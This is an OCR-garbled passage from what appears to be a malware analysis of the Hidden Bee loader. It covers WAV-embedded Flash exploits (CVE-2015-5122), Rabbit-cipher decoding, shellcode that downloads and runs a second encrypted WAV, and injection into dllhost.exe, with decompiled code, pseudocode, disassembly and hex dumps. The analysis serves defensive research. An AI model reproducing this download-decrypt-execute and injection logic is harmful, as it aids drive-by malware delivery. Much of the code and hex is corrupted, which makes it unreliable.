g = <object classid="glsid:D27CDEGE-AEGD-11cf-96B8-444553540000" type="application/x-shogkwayve-flas
10 <param name="movie" value="/views/dts8%lkungl54t636tdna2viyg.gyf"></param>

11 <param name="allowScripthAccess" value="always"></param>

12 <embed src="/views/dts89%lkungl54t636tdna?vBg.syf" allowScriptAccess="always" tyvpe="applica
13 - </object>

14 r </div>

15 - </body>

16 = </html>

Alternative case: two WAV files
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Sometimes, rather than embedding the WAV containing the Flash exploit, authors use another model of delivering
it. They store the URL to the WAV, and then they retrieve the file.

In the below example, we can see how this model is applied to Hidden Bee. The salt, along with the WAV URL,
are both stored in the Javascript embedded in the HTML:

i <html>

Z <body>

3 <gcript type="text/javascript"»

4 function getSalt(){

5 return "zACOBCcodSTBCKYTU1Z™;

€ }

7 function getAudiocResource () {

8 return "sviews/r52bSmlkl0vltcZ0tf4akl45cad wav";

B }

10 </acript>

11 <div style="position:fixed; top:50%; left:50%; margin-left:-300; margin-top:-200;">
1z <pbject classid="clsid:DZTCDBEE-REED-1lcf-56BE-444553540000" type="application/x-shockwave-
B flash" id="gwi" date="/views/sd3olBisf844jsg3ocegoadtjuid.swi">
13 <param neme="movie" wvelue="/views/sd2cl8fs844jagi3cegoadtjuid.swi"></param>
14 <param neme="allowScriptlccess" walue="always">< /param>
15 <embed src="/views/ad3clZfs844jsgicegoadtiuid.swi” zllowScripticcess="always" type="
= application/x-shockwave-flash"></embed>
1& </ocbkject>
17 </div>
h:] </body>
iz </html>

The Flash file first loads it and then decodes as the next step:

userAgent unescape (_loc2 ["user"]):;

urlloader = new URLLoader():

urlloader .dataFormat = URLLoaderDataFormat.BINARY:
urlloader .addEventListener(Event.COMPLETE,onLoaded):
if(ExternallInterface.available)

i
try
{
_loc3_ = Externallnterface.call("parent.parent.hppltils.getToken");
_loc4 = Exrternallnterface.call("gst3alt™);
_locs = ExternalInterface.call{"getiudioResource™):;
algo = ExternallInterface.call{"parent.parent.2ppltils.gethAppId™)y !
cryptoBey = setup(_loc3  + locd ) !
if{ loc5_.length > 0}
{
urlloader .addEventlListener (ICErrorEvent.IC ERROR,onLoadError);
urlloader .load(new URLEequest(_locs )}
}
retarn;
i
catch(e:¥)
{
retarn;
¥

Looking at the traffic capture, we can see that in this case, not one, but two WAV files are downloaded:

e e s e s b o i e 8 £ £ i P cer e ey mr e e
HTTP 38,75.137.9:9088  jviews/vpriadgfb 1fpj7ue76v 2p47u3g.himl private. .. iexplore: 2028
P17 200 HTTP 38,75.137.9:9088  jviews/sd30l8fs844isq30egoadtjuid.swf 115062 private... application/... iexplore:2023
ﬂ 198 200 HTTP 38,75.137.9:9088  jviews/r52b5m 1k0v 1t20tM4akl45c94. wav 35880 private... audiofwav iexplore: 2025
ﬂ 199 200 HTTP 38.75.137.9:9088  jviews/qa0tgpp2ub4bcarl0jSuZroaac. way 43 852 private... audiofwav iexplore: 20258
|:| 200 200 HTTP 38.75.137.9:9088 fviews/fiev4sra210s3f688r218bcteok.jpg 156 005 private... imagejpeg dihost: 2576
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The algorithms used to encrypt the content of the first WAV may vary and sometimes the algorithm is supplied as
one of the parameters. After the content is fetched, the data from the WAV files is decoded using one of the

available algorithms:

private static fonection onlLoaded(paraml:Ewvent) : woid

i
urlloader .removeEventListener (Event.COMPLETE,onLoaded) ;
urlloader .addEventlListener (IOErrorEvent.IO ERROR,onLoadError):
var readData:ByteArray = urlloader .data as BytelArray;
loader = decode (readData,cryptoley ,algo,onMovieloaded) ;

|

We can see that the expected content is a Flash file that is then loaded:

private static function onMovielLoaded (paraml:Ewvent) : voild

{
loader .contentLoaderInfo.removeEventListener (Event.COMPLETE, onMovieloaded) ;
var newClip:MovieClip = MovieClip (paraml.currentTarget.content) ;
doc .addChild (newClip) ;

The “decode” function

The function “decode” is imported from the package “com.google”:

94 getlocal 5
95 getlex (name (PackageNamespace (""), "onMovieLoaded"™)
98 kallproperty Oname (Packagelamespace ("com. google™) , "decode") 4

The full decompiled code is available here.

When we look inside, we see that the code is slightly obfuscated:

[ ActionSeript source
com.google.decode

|

WARNING: The code decompilation contains §§ instructions. This is usually caused by an obfuscation (See Settings/Automatic deobfuscation) or a nonstandard compiler used (Haxe, etc.).

1 backage com.google

2 {

3 import avm2.intrinsics.memory.lilé;

4 import avm2.intrinsics.memory.li32;

5 import avm2.intrinsics.memory.lif;

[ import avm2.intrinsics.memory.silé;

7 import avm2.intrinsics.memory.si32;

8 import avm2.intrinsics.memory.sif;

9 import com.google 2F var 2F folders 2F z4 2F jk5tsd6l3nsBhpppmxkve65m0000gn_2F T 2F 2F cculOwla 2E_lto 2E be 3R 2210E4FB_2D 444B 20 45E7_
10 import flash.display.Loader:

11 import flash.aystem.ApplicationDomain:

12 import flash.ayatem.LoaderContext:

13 import flash.utila.ByteArray:

14

15 public function decode (paraml:ByteArray, param?:Bytelrray, param3:int, paramé:Function) : Loader
16 {

Looking at the decompiled code, we see some interesting constants. For example, —889275714 in hex is
0xCAFEBABE. As we found during analysis of other Hidden Bee elements, this DWORD was used by the same

authors before as a magic number identifying one of the custom formats.
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243 if( loc53 = -889275714)

244 {

245 _loe53_ = 1i32(_locé&8_ - 32)»

248 if{_loch3_ == 32)

247 {

248 if{_locS9_ != 0)

2419 {

250 if{_lochs_ != 1)

251 {

252 _loc53_ = int{_loc@3_ - 40):
253 _loe53_ = _locB3_ | 4:

254 _loe57_ = 1i32(_locS3_):

255 1

256 elae

257 {

258 _locsi_ = int{_loc3_ - 16);
259 3132({_loc57_, _locS_ + 4);
260 _loch3_ = int(_loc&&_ - 1072);
261 3i32(_loc53_, locS )

262 E5F = _locS_»

263 F_ECRYPT keysetup():

264 _loch5_ = int{_locS_ + 18);
265 _lochl_ = int{_locG3_ - 40);
266 _loe5l_ = _loc3l_ | 4;

267 _locs7_ = 1132 (_loc5l_):

268 _locsi_ = int{_loc3_ - 16);
269 3132 (_1loe57_, _loeS_ + 12);
270 _lochl_ = int{_locdd_ + T&):
271 3i32{ lochl , locS_ + 8);
272 3132 (_loc5l_, loc5_ + 4);
273 3i32(_loch3_, _loch )

274 E5F = _locS_;

275 F ECREYFT process_bytes();

Internally, there are references to a function from another module: E_ENCRYPT _process_bytes(). Inside this

function, we see calls suggesting that the Rabbit Cipher has been used:
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10 public function F_ECRYPT procesa_bwytes() : wvoid
11 {

12 var locd :* = 0;

13 var _locT _:* = 0;

14 var locd :* = 0;

15 var loci _:* = 0f

16 var _locB_:int = 07

17 var _locé_:* = 07

18 var _loc3_:* = int(E5EF);

13 _loc2 = loc3 ;

20 _loc3_ = int{_loc3_ - 14);

21 _locd = 1i32(_loc2_ + 12):

22 _locs_ = 1i32(_loc2_ + 8):

23 _locE = 1i32(_loc2_ + 4):

24 _loc7_ = 1i32(_loc2_):

25 if{uint{_locd4 ) »>= 1&)

26 {

27 _locs_ = int{_loc5_ + 12);

28 _locg_ = locé  + 127

29 _loceé_ = int{_locT_ + &8);

30 do

al {

32 _loc3i_ = int{_loc3_ - 1&8);
a3 3132 (_lock_, loc3_):

34 E3F = _loc3_;

35 F RABBIT next state();

36 _1loc3_ = int{_loc3_ + 16);

Rabbit uses a 128-bit key (the same length as the MD5 hash that was mentioned before) and a 64-bit initialization

vector. (In different runs, a different encryption algorithm may be selected.)

After the decoding process is complete, the revealed content is loaded:

e f
3329 if{_locsT_ !'= 0}

3330 {

3 _loe53_ = 1i32{_loc57_);

3332 ESP = _locS_ s -16;:

3333 var _loclé_:ByteArray = new ByteRrrav():

3334 (CModule.readBytes (int(_loc57_ + 4), loc53 ,_ loclé_);

3335 ESP = _loc5_ & -14;7

3336 ESP = _loc5_ & -167

3337 new Loader().contentloaderInfo.addEventListener ("conplete”, paramd) ;
3338 ESP = _loc5_ & -167

3339 var _loc69_:LoaderContext = new LoaderContext(false,ApplicationDomain.currentDomain];
3340 ESP = _loc5_ & -167

3341 _locéd_.applicationDomain = ApplicationDomain.currentDomain;

3342 ESP = _loc5_ & -167

3343 _locéd_.allowCodeImport = true;

3344 ESP = _locS_ & -147

3345 new Loader() .loadBytes {Jln:-clﬁ_, _locé9_);

3344 _loc5_ = int{_loch_ - 18);

3347 3i32(_loc57_,_locS_):

3348 ESP = _loch_»

3349 F_idalloc():

3350 _loc5_ = int{_loch_ + 18);

3351 _loc2i_ = new Loader():

3352 }

The first WAV: a Flash exploit
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The decoded WAV contains a package with two elements embedded: a Flash file (movies.swf) and the
configuration file (config.cfg). The decrypted data starts from the magic DWORD 0xCAFEBABE, which we

noticed in the code of the previous SWF.

i iexplore.exe.dmp

Cffset(h) 00 01 02 03 04 05 06 07 08 095 OA OB OC OD OE OF Decoded text

07763B10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 wuvvusuuunreeesss
07763820 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 wuvvuvuuunneeesss
07763B30 00 52 49 46 46 04 8C 00 00 57 41 56 45 66 6D 74 .RIFF.S..WAVEfmt
07763B40 20 10 00 00 00 01 00 01 00 20 3E 00 00 00 7D 00  +u.vuuues €r...1.
07763B50 00 02 00 10 00 64 61 74 61 E0 8B 00 00 33 8C C2  ..... datatc..354
07763B60 4E 22 31 TA B8 6F 34 Fe A5 F7 AS AF 10 F3 07 C2 N™lz o464 Z.8.4
07763B70 46 E7 31 4E B3 28 9E FF 14 9F 1F 98 14 1F 8B 08 F-INZ.% .Z....<.
07763B80 00 00 00 00 0D OO0 03 00 72 20 8D 7F DTN - .------ reT.[[stH
07763B90 3C 00 00 00 02 00 00 00 24 00 00 00 3C 00 00 00 <....... $...<...
07763BA0 2D &E 00 00 30 00 00 00 €9 2B 00 00 3C 00 00 00 =¢..0...1i¢..<...
07763BB0 2F &0 6F 76 69 &5 73 2E 73 77 66 00 2F 63 6F 6E /movies.swf./con
07763BCO 66 €3 67 2E 63 66 67 00 43 57 53 1B TF FF 00 00 fig.cfg.CW5.. ..
07763BD0 78 9C EC BD 77 5C 55 47 D7 2F 3E B3 67 EF B3 4F x&&“w\UGx/>igdi0

The Flash file (movies.swf) contains an embedded exploit. In the analyzed case, the exploit used is CVE-2015-

5122, however, a different exploit may be used on a different machine:

A flashz.swf
| header

] sprites

H frames

|| athers

|\ scripts

Fove 2015 5122 _fla
=0

—»  Bufton_disabledSkin
—» | Button_downSkin

—»  Bufton_emphasizedskin
—»  Bufton_overskin

The payload (shellcode) is stored in form of an array (binary version available here:
9aec11ff93b9df14f060f78fbb1b47a2):

1 package

2

= class PayloadWin3z

4 {

5

[ public static wvar payload:Vector.<uint> = Vector.<uint>({[2420162609,6130450447,1620856352,1768,134222080,
7

g

g function PayloadWin3a2()
10 {

11 super();

12 }

13 1

14 }

15

The configuration file (config.cfg) contains the URL to another WAYV file.
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The payload is padded with NOP (0x90) bytes, and the parameters, including the configuration, are filled there
before the payload runs.

pavlEnd = O;

payllength = PayloadWin32.payload.length;
indx = O;

while(indx < pavlLength - 1)

i

if{PavloadWin3Z.pavload[indx] = O0xZ0203202C
&& PavloadWin3Z.pavlicad[indx + 1] = O0xZ0202032C0

)
i
pavlEnd = indx;
break:
1
indx++;
i
if{pavlEnd '= 0)
i
indx = O;
while(indx < paraml.length)
i
S /write parameters at the end of the payload:
PayvloadWin32 .pavlocad[pavlEnd + indx] = paraml [indx]:
indx++;
1
i

The shellcode: downloading the second WAV

The second WAV, in contrast to the first one, is always downloaded and never embedded. It is retrieved by the
“PayloadWin32” shellcode (9aec11{f93b9df14f060f78fbb1b47a2), deployed after the successful exploitation.

Looking inside this shellcode, we find the function that is responsible for downloading and decrypting another
WAV. The shellcode uses parameters that were filled by the previous layer. This buffer contains the URL that will
be queried and the key that will be used for decryption of the payload. It loads functions from wininet.dll using

their checksums. After the initialization steps, it queries the supplied URL. The expected result is a buffer with a
header typical for WAV files.
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v2 = alj

v3 = &input_buffer[-*{unsigned _ intl6e *}input_buffer];

func_checksums = (int)&v3[*((unsigned _ intle *}input_buffer + 1}];

buf = &3[*(unsigned _ intle *)}(func_checksums + @x7@) - *((unsigned _ intle *}input_buffer + 2}];
zero_buffer(&functions list, @wd4Cu);

result = load_wininet_functions(v2, (int (_ stdcall **){char *})&functions_list, func_checksums};
if ( result )
1

copy_16_bytes(buf, &crypt_key); // copy the crypto key

result = download_from_url(v2, &functions_list, buf, &meodule size);
wav_buf = (_BYTE *)}result;
if { result )

if ( *(_BYTE *)result == 'R’ // check the WAV header
&% *( BYTE *)({result + 1) == 'T"
&% *( BYTE *)({result + 2) == 'F'
&% *( BYTE *)(result + 3) == 'F'
&8 *(_DWORD *)(result + 4) <= module_size
&% *(_BYTE *)(re _«,ulf +8) == "W
&% *( BYTE *)({result + @xA) == 'V'
&% *( BYTE *)(r esult + Bx24) == 'd’
&% *( BYTE *)(result + 8x26) == 't' )
{

msize = *(_DWORD *}(result + 8x28);

As we already suspected, the data of the WAV (starting from the offset 0x2C) contains the encrypted content.
Indeed, blocks that are 8 bytes long are decrypted in a loop:

module size = *({_DWORD *)wav_buf + 8oucA);
if ( wav_buf != (_BYTE *)@xFFFFFFD4 )

if ( I(mSize & 7))

1
chunk_ptr = wav_buf + 8x2C;
crypt_init((int)}&crypt_ctx, Bcrypt_key, 16);
msize = module_size;
w23 = @;
if { module_size )
1
do
1
crypt_block((int)}&crypt ctx, chunk ptr, chunk ptr);
w23 += 8:
m5ize = module_size;
chunk_ptr += 8;
¥
while { v23 < module_size };
¥
¥

After the decryption is complete, the next module will be revealed. It is interesting to take a look at the expected
header of the payload to learn which format is used for the output element. This time, the decoded data is

supposed to start with the following magic numbers: 0x01, 0x04, ..., 0x10.
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if ( mSize > éxl1C
&% *((_DWORD *)wav_buf + @xE} <= mSize
&& wav_buf[@x2F] == exle
&& wav dJ-[bXZC] // start of the payload header
&& wav_buf[ex2D] =
&& mSize > *((_E ORD *)wav_buf + @x16)
&& mSize » *({(_DWORD *)wav_buf + 8xD)
&% !(wav_buf[8x3C] & 3) )
1
allocated buf = ( BYTE
v23 (un, gned int)
if ( allocated buf )
new_module_ep = (void (_ stdcall *)(unsigned int *))&allocated buf[*{(_DWORD *)wav_buf + @uD)}];
copy huffer(a__- ated buf, wav_buf + 8x2C, module size);
wav_buf + @x2C;
= v23; // _allocated buffer
ule_ep(&vl17); // call the decoded payload
'
VirtualFrees(v23, @, 8x86008);
}
}

The second WAV: an executable in proprietary format

On the illustration below, we can see how the data of the WAV looks after being decrypted
(9b37¢9ec19a53007d450b9b9c8febbe?):

Address |Hex dump ASCII

H2EEEEER| 52 49 46 46 C4 BE OB B0 57 41 56 45 &6 &0 v4 20| RIFF—2..WAUEfmt
F2EEEEIE| 18 B8 OB B0 @1 B8 Ol B0 28 3E OB B0 B8 VD 06 B0k, . .8.8.Cx .03,
BZEEHEZEH| B2 BE 16 BE 64 &1 74 61 OB BE B0 B0 @1 B4 BB 16| @, b.datads . . Ge. b
FEEEEEEE 10 BR Y4 BE BC HE DE B0 22 BE DE B0 FE HE OE B0 C.t.. 4.0 k2. pe.
H2&5EE4 0 +5.. 4.d7
H2&EHEEH
B2GoEEGH
HEnEEETE 4B BR 43 39 38 24 6E 656 65 BE OB BE B8 B4 0B 49 KECISinff.
precaEse 6B 68 63 64 6F FE 24 G6E 65 65 OB B0 BA B8 05 B0 khcdoVinff... .8
H2EEEETe) 47 B9 EC 49 B8 BE 24 &6E &6 65 DE B0 B8 BE 0@ 80 GY-IX"Snff......
HEEEEERE | 80 EVY HE 97 9F &5 BDO 6B 9B EC 28 BE 24 ¥5 82 60 1£+3&f2kT~lafue.
HEechEED) 2@ B 82 80 90 BB 93 IC CA 96 93 IC BE 96 93 IC @%e.kgdac=Fa"lao
HEEcEECH | 86 2E 6B D3 F? 58 BS B4 BF 32 BS 50 47 ¥B B8 55 «.kE HA+- ZAPGL{EU
procpEbe) 11 45 15 4E 89 5F BY 29 20 AF D2 7D 4F SB AS &3 AEENE_ElZ-0X0[EC
HEncEEED 98 F5 B2 B0 23 32 H1 &F 3C CE EE 30 SE DR FO EZ Eue.#ZiodrtBArid
HeecEdbe 58 3F 15 5H FA 34 19 49 FE ES 19 BE 2F 8¢ D08 IC) H7EC 44 ImfidR- i
Hrec@lEn) lF BB 31 CF 27 75 80 CH 2E CF BF &5 9E 32 &9 By W lo'uz=.0CF=3(E
ErecElle 63 AL BB 13 97 BF 2C 38 BF CH Y@ 38 E3 ER 82 20 ciglsx, 8-=pBArfe
HERcElZH | CE 48 94 B 18 C& 95 EBE BR AL CO EC 79 HE EBF D2 jrEc kALY i=ywiq0
Eerec@lze B2 FL Bl EDO B9 16 AD 41 56 F2 39 D5 B3 B8 OE 11 @81 osAU 91 |Z04
Heec@ldn 9 FC O 3F F3 11 F1 BF BF 6E 2R 16 74 2F 2E BS AE| #RY*4“q_n#*_t-, [+
Gooenlso|SB 43 B7 74 23 98 OC EA 1T 97 8% 97 5B 75 5B 34| [Iotel.F#stoluds

This is an executable component that is loaded into Internet Explorer. After it decodes the imports, it starts to look

much more familiar:

Address |Hex dump ASCII

BzZASEEAA| A1 B4 BE 18| 1C BA 74 BA|AC BE B8 BA|E2 EBE B8 G6|Ae.bo.t. . $.. 82,
HZASEE1A| FE B5 B8 BAA| 12 BS B8 B0\ A0 G0 B8 A8 A9 BE 11 A6|pe. . T5. ... ..., 1
HZASEEZA| 6E 74 &4 BC|EC ZE &4 EC|EC BE BE AC| B 25 6@ 4B ntdll dll....%.
H2ASE82A| 45 52 4E 45(4C 33 32 2E|64 6C 6C BB @B GC A8 @A2|ERMELZ2.dll....
HZ2ASEE48| 86 41 44 E&(41 BB 49 22|32 2E &4 &C|EC BE BE BE|.ADVARIZZ2.dLL..
BZASE6CH| BB G4 68 43 61 62 69 EE|65 74 ZE 64|EC EC 65 60| .e.Cabinet.dll..
H2ASE8EE| AR B8 A& 88|40 53 56 43|52 54 ZE 64| 6C &C 88 88| ..+ .MSUCRT.dLL..
HZASEETE| 00 B0 88 @8| 12 FA 20 FF|FE 47 9F FF|E4 AS 98 FF|e... 1 2w-GCWidsw
HZASEEEA| 1E 3B 8F FF|48 53 8F FF|CB 55 8F FF|CB 53 8F 7F|+; CWwESCW -UCw 50w
BZASEE3E| 08 54 5F 77| LF 53 92 77|25 50 90 77|78 B2 99 Y| LTCWTS [wi-EwsbEw
HZASEEAA| C4 73 9@ FF|48 6@ 9@ FF|E2 41 SF FF|EE 57 91 7F|.A=-wwiH™ - wih.aad
HZ2ASEBERA| 08 3C S9F FF|CB 4C SF FF|EE 2A BB 77|08 D9 BE 77| i{Cw'LCwt#*Iud Ju
HZASEECHE| 2B 45 BC 77|41 CF BE 7F|A2 BS BA 77|46 BA BE 77| +E.wHSIwiA. wFll Jw
G2ASE806| &2 BF BE 77|02 33 ac 7PFP|CF CO 8B 77|A4 10 BC 77|b#IwEl. wiFJuwlH.w
BZASEEER| 4F 21 BC FY| 26 2C BC FF|BE ZF BC FF|FC CA BE 77| 0. wiki.wAswi=ay

M -

We can see that it follows an analogical structure to the one described in last year’s article.
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This module is first executed within Internet Explorer. Then, it creates another process (dllhost.exe) in a

suspended state:

HZASEATS 2025 FCFFFFFF [LER ERX, OWORO FTR S5: [EEF-B:247

B2ASBATF =] FUSH EA

B2ASEAZE CE FUSH ESI

B2ASERS1 =) PUSH ESI

B2ASER32 &R B4 PUSH Bx4

B2ASEA3G =) PUSH ESI

E2ASEAZE EE PUSH ESI

H2ASER2E CE PUSH ESI

B2ASEAST 2025 24FDFFFF |LEA EAX,DOWORD PTR SS: [EEF-G:2C0C]

G2ASEA20 =) FUSH ESI

B2ASEAZE =] FUSH EA:

AZASER2F FF1S 2e@lA2E2 [CALL DWORD PTR DS: [Bx2ASE1281 kernel22. CreateProcessll
SECH TEST ERX,EAR

AZAZEAST |+ 74 40 JE SHORT BZASEAES

iq L_J

Stack address=BZ1AC15@, (UHICODE "C:w-Windows-~swstemzz-~~dl [host.ene"]
ERX=88806086 1

Address |Hed dump ASCII

GzAsEEEa| Al 64 88 16| 1C 68 74 88| AC BS B8 B8] S22 BE 690 a0|Ge.ko.t. . d. 0 k2.,
EZASEE1E| FE G5 88 G@| 12 BS @9 00|00 00 @8 88|87 08 11 88|pe. . t5. . i eaaad.
BZASEEZA| 6E 74 &4 GC|E&C ZE &4 GC|AC BE BE AC| A8 26 B8 4B[ntdll.dll... &K
HZAZEE3A| 45 52 4E 45|4C 33 32 ZE| 64 &C 6C BA|AB @C B8 &8 ERMELZZ2.dlLl....0
EZAZEE48| A6 41 44 56|41 5@ 49 22|52 ZE 64 EC|EC BE BE BE|.AOVAFIZZ.dLL..#
BZOSE6SE| BB G4 B8 43 61 62 69 EE|6E 74 2E 64|EC EC B0 68| .4.Cabinst.dll..
HZASEEEE| BA B8 8BS BB| 40 53 E& 42|52 B4 Z2E &4|&C &C B8 8A&( ..+ .MSUCRT.dLL..
B2ASEETA| 06 B8 A3 8| 12 FA S0 7F|FG8 47 SF 7F|E4 AS 98 7F|.... 1 2w-GCwiddw
B2ASE888| 1E 3B SF 77|48 53 SF FF|CB 55 SF FF|CB 53 SF 77| +; CwESCw tUCW LSCw
BZAEEE3E| 08 54 SF 77 LF 53 92 77|28 5C 90 77| TS 62 99 7Y| LTCWTS (wiEwsbEw
HZASEBAA|C4 73 98 FF|48 60 98 FF|68 41 8F FF|ES 57 91 77| -wwH" - wiheas
HZASEBERA| D& 3C 8F FF|CB 4C 8F FF|EE ZA BE 77|08 D9 BE 77| i{Cw'LCwt*dud Ju
BZAZEECAI ZE 45 AC FFi41 CF BB FFIAS BE BA FFl46 BA BE 77| +E.wADIWiA. wFll Jw

It injects its original copy there (769a05f0eddd6ef2ebdd13618b244758):

[ dilhost.exe (2784) Properties

| General I Statistics I Performance | Threads I Token I Modules | Memery | Environment I Handles I Comment

Hide free regions
Baze address Type Size  Protect... Use Tat
> Ox 10000 Private 128kE RW 1
> 0w 30000 Mapped 16kE R
> Ox40000 Private 4kB RW
4 (50000 Mapped 52kE  RWX
0x 50000 Mapped: Com... 52kB  RWX
7| dilhost.exe (2784) (0x50000 - 0:5d000) = ===
00000000 ﬂl 04 00 10 1c Oa 74 00 Oc OS5 00 00 &8 be 00 00 ...u.. Lovannanna »

00000010 70 O0& 00 OO0 18 k& 00 00 00 OO0 00 00 09 00 11 00 Pusesesnsnaaansns (W
00000020 &4 Te &2 66 66 24 6e 66 &6 00 00 Oc 00 26 00 41 d~nffsnff....&.R
00000030 4f 53 44 4f 44 39 38 24 6e 66 64 00 00 Oc 00 O QHEDOFSSsnff.....
00000040 00 4k 4e 5c 4b 5a 43 39 38 24 6e &6 66 00 00 Ob EMNEZCS9E8Snff...
00000050 00 04 00 4% 6b 62 63 64 &L 7e 24 6e 66 66 00 00 ...Ikhcdo~%nif..

000000680 0Oz 00 O& OO0 47 59 5c 49 58 5S5e 24 &e 66 &6 00 00 ....GY°NIX~%nff..
00000070 00 00 00 00 &c 7 ae 97 9f 66 bd 6b 9b Sc 88 Ob ......... k...
00000080 24 75 82 04 30 b8 82 0d 9d bb 93 lc ca 96 93 1lc fu..0...ieueusn
00000090 5e 96 93 1lc 0& 2e &b 43 £9 58 be 04 07 32 b5 50 ~..... k.. .X...2.F
000000&a0 47 7b 08 553 11 45 135 4e 8% 5L b7 2% 8d af 42 7d G{.U.E.N._.}...}
000000k0 4f Sk a8 63 90 75 82 04 23 32 al &f 3c ce ee 30 O[.c.u..#2.0<..0
000000ch Be da £d e2 58 3£ 15 Sa fa 34 19 49 fe e5 1% Oe ....¥2.Z2.4.I....
00000040 2f 87 d8 1lc 1f bb 31 of 27 75 84 ca 2e cf &8f 66 /..... AL PR £

Then it redirects execution to its loading function. Below, we can see the Entry Point of the implanted module

within dllhost.exe.
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* KernelMode - dilhost.exe - [*G.P.LU* - main thread]
@ File View Debug Plugins Options Window Help

et Bledx] w1 s+ 305 A~ s]E[m]T|w]nc| s

FF7424 B2 FUSH DWORD PTR S5: [ESP+E12] implanted_modu le_ep
BEASACED FFE424 B2 CALL DWORD PTR S5: [ESP+Ex2]
BEESECE L CZ Bcea RETH &:iC
BRASACES 55 FUSH _EEFP
BRASECES SEEC MOu EBF, ESP
BRESECET S3EC 12 SUUE ESF,Onls
BEASECEA =] FUSH _EBX ntdl . 77997140
BEESECEE 2BED 12 MOU EBX, ONORD PTR SS5: CEEF+E:12]
AARSACAF A FIISH FRT

1 [
Stack So:LO011FAECI-DEEELESH

Address |Hex dump HSCII

HEEEEEEE| 1 B4 B8 16| 1C BA 74 BE|EC B B8 BE| 22 BE 60 60| Ge. ko t.. &0 F2..
BEEEEE1A|FE G5 83 0| 12 BS 88 60|60 60 88 88|62 66 11 88|ps..t5. ... ... 4.
BEAASEEZA| 64 FE G6E &6 66 24 GE AR A6 BE BE AC| BB 26 B8 41|d nffinff....%.A
BEESEE3E| 4F 58 44 4F| 46 29 38 24| 6E &6 S5 BE| @8 GC @8 82| 0<00F985nff... .0
BERSEE4E| B8 4B 4E SC|4E 5A 43 39|38 24 6E 66|66 BE BE BE|.KH-KZCIESnff..d
HERSEEEA| BB B4 B8 49| 6B &8 63 64| 6F YE 24 GE| 66 &5 BE 88| . 4. Ikhcdo™Snff..
BARSEREA| AR @A @5 @A 47 59 EC 49|52 EE 24 6E| 66 &6 BE BA| ... .GY-~IE"5nff..
BARSEETA| AR B B8 @@ 2C EFY AE 97| 9F &5 BOD &EB| 9B SC 82 BE|....1E«3&F2kT k2
HEEEEESA| 24 Y5 892 60|28 BS 82 80|90 BB 92 IC|CR 96 93 1C|fue.@Se.kqnac=lac
BEEEEE9A|5E 96 92 IC| @& 2E 6B DI|F2? 58 B& 84| A7 32 BE 58| “Pi . kE HAe« 2AF
BEAESEEAE| 47 FE 82 55|11 45 1S 4E|89 5F BY 29|80 AF D2 70| G{EUAEEHE_EIZ=02
BEESEEES| 4F 5B AS 63|98 ¥5 92 60|22 32 Al &F|2C CE EE 38| O[EcEus. #2 (odjftE
BEASEEACA| 2E DA FO EZ| 58 3F 15 BAIFA 34 19 43|FE EE 19 BE|ArLORYES " 44 Imfi+H

A detailed analysis of the execution flow of this module and its format will be given later in the article.

At this point, it is important to note that the dllhost.exe is the module that further downloads the aforementioned

images.
The modules with the custom format

The module with the custom format is analogous to the one described before. However, we can see that it has

significantly evolved.

There are changes in the header, as well as improvements in the implementation.

Changes in the custom format

The new header is similar to the previous one. The few details that have changed are: the magic number at the
beginning (from 0x10000301 to 0x10000401), and the format in which the DLLs are stored (the length of a DLL
name has been added). That’s why we will refer to this format as “0x10000401 format.”

Another change is that now the names of the DLLs are obfuscated by a simple XOR with 1 byte character. They

are deobfuscated just before being loaded.
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Ll =]

@a3115DC

@83115D0C decede func_name:

@8B831150C mov cl, [esi+5]

B83115DF xor [eax], cl

B83115E1 mov ecx, [ebptarg_e]

8@83115E4 movzx  edx, byte ptr [edi]

B83115E7 inc eax

B83115E8 add ecx, eax

BB3115EA cmp ecx, edx

BB3115EC jb short decode func_name
T

‘ YYY
|l 5=
3115EE
3115EE loc_3115EE:
3115EE lea eax, [edi+d]
3115F1 push eax ; _DWORD

3115F2 call ds:LoadLlibrarys
3115F8 test eax, eax

3115FA mov [ebptvar_18], eax
3115FD jz short loc 311636

Summing up, we can visualize the new format in the following way:

Cffsec(h) 00 01 02 03 04 05 06 07 08 09 OA OB OC OD OE OF Decoded text

00000000 [EEOERDL] 0 RS - I.. HEADERS

00000010 |70 _0&6 00 e e

08 00 11 00 .... DLLs

00000020 64 7E 6E 66 66 24 6E 66 66 00 0D OC 00 26 00 41 d~nff¢nff....&.A  [lc offeat = Ox1C
00000030 4F 58 44 4F 46 39 38 24 6E 66 66 00 00 0OC OXDOF98SnEs. .. .. N
00000040 00 43 4E 5C 4B SA 43 39 38 24 6E 66 66 00 .KM\Kzcosgnge, .. Svuctdll record{
00000050 00 04 00 49 6B 62 63 64 6F TE 24 6E 66 66 00 00 ...Ikhcdo~Snff.. WORD name_length,
00000060 OR 00 06 00 47 52 5C 42 58 SE 24 6E 66 66 00 00 ....GY\IX"Snff.. WORD functions_count,

00 00 00 00 e char name []; //XORed

t
00000070 8C E7 BE 97 SF 66 BD 63 9B 5C 88 03 SeB—2f k..
00000080 24 75 82 0D 30 B8 82 0D 9D 58 93 1C CA 96 93 1C  Su,.0.,.t»".E-".
000000%0 SE 296 93 1C 06 2E 6B D2 F9 52 BE 04 07 32 BS 50 ~-"...k0d¥qg..2uP =0x74
.
00000180 87 FO 96 7C 3D AD 39 0D C7 OE E0 3D F3 16 E6 F5  +d-|=.9.C.7=4.&4 SLKEL
00000190 7FC B0 3E 28 EA 3D 9D 7C | "> e=t]
64 A1 30 00 00 00 C3 56 d o...iv CODE

000001A0 8B 4C 24 08 8B 44 24 08 33 D2 83 CO 14 38 51 07 <L$.<D$.3H.R.8Q. Entry Point = 0x050C
000001BO 74 1C 33 F6 39 51 10 88 51 07 76 12 8B DE 83 E2  t.3569Q..Q.v.<0.4
00008810 00 00 00 00 00 00 00 00 83 03 00 00 BZ 03 RELOCATIONS
00008820 BF 03 00 00 E1 03 00 00 04 04 00 00 13 04
0000BS30 24 04 00 00 2D 04 00 00 42 04 00 00 47 04 Offset = 0xB818
00008840 55 04 00 00 61 04 00 00 8C 04 00 00 9C 04 Size = 0x0670

0000B850 BF 04 00 00 CE 04 00 00 EE 04 00 00 FA 04
0000BB6O 01 O 00 BO 05 00 00 BT 05
0000B87T BE O 00 DF 05 00 00 EA 05
00o00BE8 F2 05 00 00 51 06 00 00 &3 06 00 00 74 06

Module Size = 0xBESS

Obfuscation used
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This time, authors decide to obfuscate all the strings used inside the module. Now all the strings are decoded just

before use.
@B3187F5 lea eax, [ebp-2CCh]
BB3187FE push 184h
23188828 push eax ; _DWORD

28318881 push offset unk_317838
eB31le8e6 call decode_memory

